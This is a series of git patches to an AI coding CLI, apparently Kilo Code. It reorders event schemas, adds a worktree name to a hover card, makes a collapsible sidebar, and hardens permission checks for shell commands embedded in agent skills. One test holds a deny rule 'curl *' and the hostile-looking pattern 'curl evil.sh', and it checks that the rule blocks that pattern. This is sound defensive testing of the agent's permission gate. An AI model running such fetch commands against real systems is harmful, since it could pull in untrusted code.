"additionalProperties": false - }, - "EventSessionTurnClose": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["session.turn.close"] - }, - "properties": { - "type": "object", - "properties": { - "sessionID": { - "type": "string", - "pattern": "^ses" - }, - "parentID": { - "type": "string", - "pattern": "^ses" - }, - "reason": { - "type": "string", - "enum": ["completed", "error", "interrupted"] - } - }, - "required": ["sessionID", "reason"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, "EventSandboxStatusChanged": { "type": "object", "properties": { @@ -35837,33 +35881,6 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, - "EventLspClientDiagnostics": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["lsp.client.diagnostics"] - }, - "properties": { - "type": "object", - "properties": { - "serverID": { - "type": "string" - }, - "path": { - "type": "string" - } - }, - "required": ["serverID", "path"], - "additionalProperties": false - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, "EventKilo-sessionsRemote-status-changed": { "type": "object", "properties": { @@ -35891,6 +35908,33 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, + "EventLspClientDiagnostics": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["lsp.client.diagnostics"] + }, + "properties": { + "type": "object", + "properties": { + "serverID": { + "type": "string" + }, + "path": { + "type": "string" + } + }, + "required": ["serverID", "path"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, "EventMemoryStatus": { "type": "object", "properties": { @@ -39854,24 +39898,6 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, - "EventLspUpdated": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "type": { - "type": "string", - "enum": ["lsp.updated"] - }, - "properties": { - "type": "object", - "properties": {} - } - }, - "required": ["id", "type", "properties"], - "additionalProperties": false - }, "EventVcsBranchUpdated": { "type": "object", "properties": { @@ -39895,6 +39921,24 @@ "required": ["id", "type", "properties"], "additionalProperties": false }, + "EventLspUpdated": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["lsp.updated"] + }, + "properties": { + "type": "object", + "properties": {} + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, "EventWorkspaceReady": { "type": "object", "properties": { From e7a7478b38d81fb785713fa062fcfd601cb05f34 Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 11:24:19 +0200 Subject: [PATCH 023/100] fix(cli): keep deny rules terminal for skill shell command batches --- packages/opencode/src/permission/index.ts | 19 ++++++---------- .../kilocode/permission/skill-shell.test.ts | 22 +++++++++++++++++++ 2 files changed, 29 insertions(+), 12 deletions(-) diff --git a/packages/opencode/src/permission/index.ts b/packages/opencode/src/permission/index.ts index bed5d68def..ff6ad14fb0 100644 --- a/packages/opencode/src/permission/index.ts +++ b/packages/opencode/src/permission/index.ts @@ -222,19 +222,8 @@ export const layer = Layer.effect( : false // kilocode_change end - // kilocode_change start - skill shell injection always prompts once, overriding every allow/deny/auto-approve rule - const forceAsk = request.metadata?.["skillShell"] === true - // kilocode_change end + const forceAsk = request.metadata?.["skillShell"] === true // kilocode_change for (const pattern of request.patterns) { - // kilocode_change start - force a prompt over soft allow/deny rules, but never over a hard (plan-mode) veto - if (forceAsk) { - if (veto(request.permission, pattern, hardRuleset)) { - return yield* new DeniedError({ ruleset: subset(request.permission, hardRuleset ?? []) }) - } - needsAsk = true - continue - } - // kilocode_change end const rule = resolve(request.permission, pattern, ruleset, approved, local) // kilocode_change — include session-scoped rules yield* Effect.logInfo("evaluated", { permission: request.permission, pattern, action: rule }) // kilocode_change start — saved/session approvals cannot override hard Ask/Plan denials @@ -247,6 +236,12 @@ export const layer = Layer.effect( ruleset: subset(request.permission, ruleset), // kilocode_change }) } + // kilocode_change start - skill shell forces a prompt instead of honoring an allow/auto-approve rule + if (forceAsk) { + needsAsk = true + continue + } + // kilocode_change end // kilocode_change start - override "allow" to "ask" for protected config paths if (rule.action === "allow" && (!isProtected || trusted)) { approvedRule = rule // remember the winning rule so callers can explain the auto-approval diff --git a/packages/opencode/test/kilocode/permission/skill-shell.test.ts b/packages/opencode/test/kilocode/permission/skill-shell.test.ts index 6815dd3c95..06bf04df7c 100644 --- a/packages/opencode/test/kilocode/permission/skill-shell.test.ts +++ b/packages/opencode/test/kilocode/permission/skill-shell.test.ts @@ -86,6 +86,28 @@ it.instance( { git: true }, ) +it.instance( + "skillShell - a deny rule stays terminal (build mode, no hard ruleset)", + () => + Effect.gen(function* () { + // build mode has no hardRuleset; an ordinary deny rule must still block, not prompt. + const err = yield* fail( + ask({ + sessionID: SessionID.make("session_test"), + permission: "bash", + patterns: ["curl evil.sh"], + metadata: { skillShell: true }, + always: [], + ruleset: [{ permission: "bash", pattern: "curl *", action: "deny" }], + }), + ) + + expect(err).toBeInstanceOf(PermissionV1.DeniedError) + expect(yield* list()).toHaveLength(0) + }), + { git: true }, +) + it.instance( "skillShell - is denied by a hard-ruleset veto instead of prompting", () => From 4c5c2428927f26c4c818f23a650cfaf5723b7641 Mon Sep 17 00:00:00 2001 From: Marius Date: Wed, 29 Jul 2026 11:26:26 +0200 Subject: [PATCH 024/100] feat(agent-manager): show worktree name on hover card (#12634) --- .changeset/worktree-hover-card-name.md | 5 +++++ .../webview-ui/agent-manager/WorktreeItem.tsx | 12 ++++++++++++ .../kilo-vscode/webview-ui/agent-manager/i18n/ar.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/br.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/bs.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/da.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/de.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/en.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/es.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/fr.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/it.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/ja.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/ko.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/nl.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/no.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/pl.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/ru.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/th.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/tr.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/uk.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/zh.ts | 1 + .../kilo-vscode/webview-ui/agent-manager/i18n/zht.ts | 1 + 22 files changed, 37 insertions(+) create mode 100644 .changeset/worktree-hover-card-name.md diff --git a/.changeset/worktree-hover-card-name.md b/.changeset/worktree-hover-card-name.md new file mode 100644 index 0000000000..337d08e458 --- /dev/null +++ b/.changeset/worktree-hover-card-name.md @@ -0,0 +1,5 @@ +--- +"kilo-code": patch +--- + +Show the worktree directory name on the Agent Manager worktree hover card diff --git a/packages/kilo-vscode/webview-ui/agent-manager/WorktreeItem.tsx b/packages/kilo-vscode/webview-ui/agent-manager/WorktreeItem.tsx index a349d0fe20..82488b9de2 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/WorktreeItem.tsx +++ b/packages/kilo-vscode/webview-ui/agent-manager/WorktreeItem.tsx @@ -167,6 +167,13 @@ export const WorktreeItem: Component = (props) => { props.onOpenPR?.() } + /** Worktree directory basename shown in the hover card (e.g. "decorous-taker"). */ + const name = () => { + const p = props.worktree.path.replace(/[\\/]+$/, "") + const i = Math.max(p.lastIndexOf("/"), p.lastIndexOf("\\")) + return i >= 0 ? p.slice(i + 1) : p + } + return ( <> @@ -387,6 +394,11 @@ export const WorktreeItem: Component = (props) => { {props.navHint}
+
+
+ {t("agentManager.hoverCard.worktree")} + {name()} +
diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ar.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ar.ts index a60114c78c..8d46b3932c 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ar.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ar.ts @@ -30,6 +30,7 @@ export const dict = { "agentManager.section.moveUp": "تحريك لأعلى", "agentManager.section.moveDown": "تحريك لأسفل", "agentManager.hoverCard.branch": "الفرع", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "الأساس", "agentManager.hoverCard.sessions": "الجلسات", "agentManager.hoverCard.files": "الملفات", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/br.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/br.ts index 7e86e434ce..25b1644060 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/br.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/br.ts @@ -30,6 +30,7 @@ export const dict = { "agentManager.section.moveUp": "Mover para Cima", "agentManager.section.moveDown": "Mover para Baixo", "agentManager.hoverCard.branch": "BRANCH", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "Base", "agentManager.hoverCard.sessions": "Sessões", "agentManager.hoverCard.files": "Arquivos", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/bs.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/bs.ts index 14950180d7..52a5f1e690 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/bs.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/bs.ts @@ -30,6 +30,7 @@ export const dict = { "agentManager.section.moveUp": "Pomjeri gore", "agentManager.section.moveDown": "Pomjeri dolje", "agentManager.hoverCard.branch": "BRANCH", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "Baza", "agentManager.hoverCard.sessions": "Sesije", "agentManager.hoverCard.files": "Datoteke", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/da.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/da.ts index a3da1f713d..1e0894f828 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/da.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/da.ts @@ -30,6 +30,7 @@ export const dict = { "agentManager.section.moveUp": "Flyt op", "agentManager.section.moveDown": "Flyt ned", "agentManager.hoverCard.branch": "BRANCH", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "Base", "agentManager.hoverCard.sessions": "Sessioner", "agentManager.hoverCard.files": "Filer", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/de.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/de.ts index 517fc1c8ca..4290c9c299 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/de.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/de.ts @@ -30,6 +30,7 @@ export const dict = { "agentManager.section.moveUp": "Nach oben verschieben", "agentManager.section.moveDown": "Nach unten verschieben", "agentManager.hoverCard.branch": "BRANCH", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "Basis", "agentManager.hoverCard.sessions": "Sitzungen", "agentManager.hoverCard.files": "Dateien", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/en.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/en.ts index a2f4005760..2b1700a395 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/en.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/en.ts @@ -32,6 +32,7 @@ export const dict = { "agentManager.section.moveDown": "Move Down", "agentManager.hoverCard.branch": "BRANCH", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "Base", "agentManager.hoverCard.sessions": "Sessions", "agentManager.hoverCard.files": "Files", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/es.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/es.ts index 2ae86ad16c..8889c83770 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/es.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/es.ts @@ -30,6 +30,7 @@ export const dict = { "agentManager.section.moveUp": "Mover hacia arriba", "agentManager.section.moveDown": "Mover hacia abajo", "agentManager.hoverCard.branch": "BRANCH", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "Base", "agentManager.hoverCard.sessions": "Sesiones", "agentManager.hoverCard.files": "Archivos", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/fr.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/fr.ts index 5a5ee70727..2f96cdb0e6 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/fr.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/fr.ts @@ -30,6 +30,7 @@ export const dict = { "agentManager.section.moveUp": "Déplacer vers le haut", "agentManager.section.moveDown": "Déplacer vers le bas", "agentManager.hoverCard.branch": "BRANCHE", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "Base", "agentManager.hoverCard.sessions": "Sessions", "agentManager.hoverCard.files": "Fichiers", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/it.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/it.ts index bf21da2ca1..0bf5fbbb68 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/it.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/it.ts @@ -32,6 +32,7 @@ export const dict = { "agentManager.section.moveDown": "Sposta giù", "agentManager.hoverCard.branch": "BRANCH", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "Base", "agentManager.hoverCard.sessions": "Sessioni", "agentManager.hoverCard.files": "File", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ja.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ja.ts index 938862acbf..b8fc3757dd 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ja.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ja.ts @@ -30,6 +30,7 @@ export const dict = { "agentManager.section.moveUp": "上に移動", "agentManager.section.moveDown": "下に移動", "agentManager.hoverCard.branch": "ブランチ", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "ベース", "agentManager.hoverCard.sessions": "セッション", "agentManager.hoverCard.files": "ファイル", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ko.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ko.ts index 50ff31564c..5b2cc3574b 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ko.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ko.ts @@ -30,6 +30,7 @@ export const dict = { "agentManager.section.moveUp": "위로 이동", "agentManager.section.moveDown": "아래로 이동", "agentManager.hoverCard.branch": "브랜치", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "베이스", "agentManager.hoverCard.sessions": "세션", "agentManager.hoverCard.files": "파일", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/nl.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/nl.ts index d226afcb3d..bb0d4b1bf9 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/nl.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/nl.ts @@ -32,6 +32,7 @@ export const dict = { "agentManager.section.moveDown": "Omlaag verplaatsen", "agentManager.hoverCard.branch": "BRANCH", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "Basis", "agentManager.hoverCard.sessions": "Sessies", "agentManager.hoverCard.files": "Bestanden", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/no.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/no.ts index c3541d8851..f45875dfcc 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/no.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/no.ts @@ -30,6 +30,7 @@ export const dict = { "agentManager.section.moveUp": "Flytt opp", "agentManager.section.moveDown": "Flytt ned", "agentManager.hoverCard.branch": "BRANCH", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "Base", "agentManager.hoverCard.sessions": "Økter", "agentManager.hoverCard.files": "Filer", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/pl.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/pl.ts index b7497bb817..38b90e8a62 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/pl.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/pl.ts @@ -30,6 +30,7 @@ export const dict = { "agentManager.section.moveUp": "Przenieś w górę", "agentManager.section.moveDown": "Przenieś w dół", "agentManager.hoverCard.branch": "BRANCH", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "Baza", "agentManager.hoverCard.sessions": "Sesje", "agentManager.hoverCard.files": "Pliki", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ru.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ru.ts index 36b7e5de34..cdacacf807 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ru.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ru.ts @@ -30,6 +30,7 @@ export const dict = { "agentManager.section.moveUp": "Переместить вверх", "agentManager.section.moveDown": "Переместить вниз", "agentManager.hoverCard.branch": "ВЕТКА", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "Основа", "agentManager.hoverCard.sessions": "Сессии", "agentManager.hoverCard.files": "Файлы", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/th.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/th.ts index 73f78c3bd4..3bf828ec65 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/th.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/th.ts @@ -30,6 +30,7 @@ export const dict = { "agentManager.section.moveUp": "เลื่อนขึ้น", "agentManager.section.moveDown": "เลื่อนลง", "agentManager.hoverCard.branch": "BRANCH", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "ฐาน", "agentManager.hoverCard.sessions": "เซสชัน", "agentManager.hoverCard.files": "ไฟล์", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/tr.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/tr.ts index 58b55601af..60da940237 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/tr.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/tr.ts @@ -32,6 +32,7 @@ export const dict = { "agentManager.section.moveDown": "Aşağı Taşı", "agentManager.hoverCard.branch": "DAL", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "Temel", "agentManager.hoverCard.sessions": "Oturumlar", "agentManager.hoverCard.files": "Dosyalar", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/uk.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/uk.ts index b039672b63..6a022b0dc7 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/uk.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/uk.ts @@ -32,6 +32,7 @@ export const dict = { "agentManager.section.moveDown": "Перемістити вниз", "agentManager.hoverCard.branch": "ГІЛКА", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "База", "agentManager.hoverCard.sessions": "Сесії", "agentManager.hoverCard.files": "Файли", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/zh.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/zh.ts index 5dcbff7b0c..59f227c736 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/zh.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/zh.ts @@ -30,6 +30,7 @@ export const dict = { "agentManager.section.moveUp": "上移", "agentManager.section.moveDown": "下移", "agentManager.hoverCard.branch": "分支", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "基础", "agentManager.hoverCard.sessions": "会话", "agentManager.hoverCard.files": "文件", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/zht.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/zht.ts index cb350d7366..b0cb8f6c5e 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/zht.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/zht.ts @@ -30,6 +30,7 @@ export const dict = { "agentManager.section.moveUp": "上移", "agentManager.section.moveDown": "下移", "agentManager.hoverCard.branch": "分支", + "agentManager.hoverCard.worktree": "Worktree", "agentManager.hoverCard.base": "基底", "agentManager.hoverCard.sessions": "工作階段", "agentManager.hoverCard.files": "檔案", From c2f2831bd996c363279fdf8526a0102c2ff166cf Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 11:38:20 +0200 Subject: [PATCH 025/100] fix(cli): decompose skill shell commands for per-command permission checks --- .../opencode/src/kilocode/skills/inject.ts | 47 +++++++++++++++---- packages/opencode/src/tool/shell.ts | 19 +++++++- packages/opencode/src/tool/skill.ts | 5 ++ .../test/kilocode/skills/inject.test.ts | 26 ++++++++++ 4 files changed, 87 insertions(+), 10 deletions(-) diff --git a/packages/opencode/src/kilocode/skills/inject.ts b/packages/opencode/src/kilocode/skills/inject.ts index ceee78c742..4bdf6afe58 100644 --- a/packages/opencode/src/kilocode/skills/inject.ts +++ b/packages/opencode/src/kilocode/skills/inject.ts @@ -16,10 +16,12 @@ import type * as Tool from "@/tool/tool" // skills never spawn a process. // 2. Kill-switch: `disabled` (KILO_DISABLE_SKILL_SHELL) turns injection off // entirely, matching Claude's disableSkillShellExecution. -// 3. Batch approval: every command in the file is presented once, up front, in -// a single permission prompt (the `skillShell` metadata marker forces this -// prompt regardless of any allow/deny/auto-approve rule). Approve runs the -// whole batch; reject aborts the skill load with nothing run. +// 3. Batch approval: every command in the file is decomposed with the same +// tree-sitter scan the bash tool uses (per sub-command patterns plus any +// out-of-project directories), then presented once, up front, in a single +// permission prompt. The `skillShell` marker forces this prompt regardless +// of any allow/auto-approve rule; a deny rule or plan-mode veto on any +// sub-command still blocks. Approve runs the batch; reject aborts the load. // // Substitution runs exactly once. Command output is inlined as plain text and is // never re-scanned, so a command cannot emit a `!`cmd`` placeholder that a later @@ -29,12 +31,20 @@ const DISABLED_NOTE = "[skill shell execution disabled by policy]" const UNTRUSTED_NOTE = "[skill shell execution disabled for untrusted skill]" export namespace SkillInject { + export type Decompose = (input: { + command: string + cwd: string + shell: string + }) => Effect.Effect<{ patterns: string[]; dirs: string[] }> + export type Options = { content: string trusted: boolean disabled: boolean + cwd: string ctx: Tool.Context spawner: Spawner["Service"] + decompose: Decompose } export const render = Effect.fn("SkillInject.render")(function* (opts: Options) { @@ -45,20 +55,39 @@ export namespace SkillInject { if (opts.disabled) return replace(opts.content, () => DISABLED_NOTE) if (!opts.trusted) return replace(opts.content, () => UNTRUSTED_NOTE) + const shell = Shell.preferred() // Deduplicate identical commands so the batch lists and runs each once. const commands = Array.from(new Set(matches.map(([, cmd]) => cmd))) - // Single up-front approval for the whole batch. `skillShell` forces one - // prompt even when rules would allow or deny; a reject/deny propagates as a - // defect and aborts the skill load without running anything. + // Decompose each command into sub-command patterns + out-of-project dir globs + // via the shared bash scan, so plan-mode denies and external_directory checks + // apply per sub-command instead of matching the raw string as one glob. + const patterns = new Set() + const dirs = new Set() + for (const command of commands) { + const scan = yield* opts.decompose({ command, cwd: opts.cwd, shell }) + for (const pattern of scan.patterns) patterns.add(pattern) + for (const dir of scan.dirs) dirs.add(dir) + } + + // Single up-front approval. Out-of-project directories are asked first, then + // the decomposed sub-commands. `skillShell` forces the prompt over allow/YOLO + // rules; a deny/veto on any sub-command propagates as a defect and aborts. + if (dirs.size > 0) { + yield* opts.ctx.ask({ + permission: "external_directory", + patterns: Array.from(dirs), + always: [], + metadata: { skillShell: true }, + }) + } yield* opts.ctx.ask({ permission: "bash", - patterns: commands, + patterns: Array.from(patterns), always: [], metadata: { skillShell: true }, }) - const shell = Shell.preferred() const outputs = new Map() for (const command of commands) { outputs.set( diff --git a/packages/opencode/src/tool/shell.ts b/packages/opencode/src/tool/shell.ts index 27b73acae0..b011f4b3c4 100644 --- a/packages/opencode/src/tool/shell.ts +++ b/packages/opencode/src/tool/shell.ts @@ -433,7 +433,24 @@ export const ShellPermission = Effect.gen(function* () { ) }) - return { ask: check, resolve } + // kilocode_change start - expose the tree-sitter scan (sub-command patterns + external-dir globs) for skill-shell batching + const dirGlob = (dir: string) => + process.platform === "win32" ? FSUtil.normalizePathPattern(path.join(dir, "*")) : path.join(dir, "*") + const decompose = Effect.fn("ShellTool.decompose")(function* (input: { command: string; cwd: string; shell: string }) { + const instance = yield* InstanceState.context + const ps = Shell.ps(input.shell) + return yield* Effect.scoped( + Effect.gen(function* () { + const tree = yield* Effect.acquireRelease(parse(input.command, ps), (tree) => Effect.sync(() => tree.delete())) + const scan = yield* collect(tree.rootNode, input.cwd, ps, input.shell, instance) + if (!containsPath(input.cwd, instance)) scan.dirs.add(input.cwd) + return { patterns: Array.from(scan.patterns), dirs: Array.from(scan.dirs, dirGlob) } + }), + ) + }) + // kilocode_change end + + return { ask: check, resolve, decompose } // kilocode_change - decompose for skill-shell }) // kilocode_change end diff --git a/packages/opencode/src/tool/skill.ts b/packages/opencode/src/tool/skill.ts index ad2049afc2..ef2b9b8f54 100644 --- a/packages/opencode/src/tool/skill.ts +++ b/packages/opencode/src/tool/skill.ts @@ -7,7 +7,9 @@ import * as Tool from "./tool" import DESCRIPTION from "./skill.txt" // kilocode_change start - gate + run shell injection in skill bodies import { ChildProcessSpawner } from "effect/unstable/process/ChildProcessSpawner" +import { InstanceState } from "@/effect/instance-state" import { RuntimeFlags } from "@/effect/runtime-flags" +import { ShellPermission } from "./shell" import { SkillInject } from "@/kilocode/skills/inject" // kilocode_change end @@ -22,6 +24,7 @@ export const SkillTool = Tool.define( const ripgrep = yield* Ripgrep.Service const flags = yield* RuntimeFlags.Service // kilocode_change const spawner = yield* ChildProcessSpawner // kilocode_change + const permission = yield* ShellPermission // kilocode_change - decompose skill commands like the bash tool return { description: DESCRIPTION, @@ -44,8 +47,10 @@ export const SkillTool = Tool.define( content: info.content, trusted: info.trusted === true, disabled: flags.disableSkillShell, + cwd: yield* InstanceState.directory, ctx, spawner, + decompose: permission.decompose, }) // kilocode_change end diff --git a/packages/opencode/test/kilocode/skills/inject.test.ts b/packages/opencode/test/kilocode/skills/inject.test.ts index 1058968d1e..f334bfe5ef 100644 --- a/packages/opencode/test/kilocode/skills/inject.test.ts +++ b/packages/opencode/test/kilocode/skills/inject.test.ts @@ -102,6 +102,29 @@ describe("skill shell injection", () => { }), ) + unix("decomposes a compound command into per-sub-command patterns", () => + Effect.gen(function* () { + // A single placeholder with a chained command must not be asked as one glob + // pattern (which would let e.g. `cat *` match the whole string). Each + // sub-command must appear separately so deny/veto rules apply per command. + yield* writeGlobalSkill("compound-shell", "Out: !`cat README.md; printf hi`") + + const requests: Array> = [] + yield* loadSkill("compound-shell", (req) => + Effect.sync(() => { + requests.push(req) + }), + ) + + const bash = requests.filter((r) => r.permission === "bash") + expect(bash.length).toBe(1) + // both sub-commands are present as distinct patterns, not the raw string + expect(bash[0].patterns).toContain("cat README.md") + expect(bash[0].patterns).toContain("printf hi") + expect(bash[0].patterns).not.toContain("cat README.md; printf hi") + }), + ) + unix("aborts the entire skill load when the batch is rejected", () => Effect.gen(function* () { yield* writeGlobalSkill("denied-shell", "Secret: !`printf leaked`") @@ -162,6 +185,7 @@ describe("SkillInject.render gating", () => { } const spawner = new Proxy({}, { get: boom }) as any const ctx = { ...baseCtx, ask: () => Effect.sync(boom) } as Tool.Context + const decompose = (() => Effect.sync(boom)) as unknown as SkillInject.Decompose const run = (opts: { trusted: boolean; disabled: boolean; content?: string }) => Effect.runPromise( @@ -169,8 +193,10 @@ describe("SkillInject.render gating", () => { content: opts.content ?? "Value: !`printf ran`", trusted: opts.trusted, disabled: opts.disabled, + cwd: "/tmp", ctx, spawner, + decompose, }), ) From 0abe474b6d5c5d482ce950abfd9033bf0c5af3b4 Mon Sep 17 00:00:00 2001 From: Aarav Date: Wed, 29 Jul 2026 03:52:54 -0600 Subject: [PATCH 026/100] feat(tui): make Context sidebar section collapsible (#11986) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The TUI session sidebar already lets Token Usage, Models, and Terminal Bench 2.0 collapse on header click (▼/▶), but Context was always expanded. Match the existing collapsible pattern so users can fold it away when they want a less cluttered sidebar. When collapsed, the header shows a one-line summary of percent used and total cost. --- .changeset/collapsible-context-sidebar.md | 5 ++++ .../src/feature-plugins/sidebar/context.tsx | 30 ++++++++++++++----- 2 files changed, 28 insertions(+), 7 deletions(-) create mode 100644 .changeset/collapsible-context-sidebar.md diff --git a/.changeset/collapsible-context-sidebar.md b/.changeset/collapsible-context-sidebar.md new file mode 100644 index 0000000000..b9bf10549c --- /dev/null +++ b/.changeset/collapsible-context-sidebar.md @@ -0,0 +1,5 @@ +--- +"@kilocode/cli": patch +--- + +Let the Context section in the TUI session sidebar collapse and expand on header click, matching the existing collapsible pattern used by Token Usage, Models, and Terminal Bench 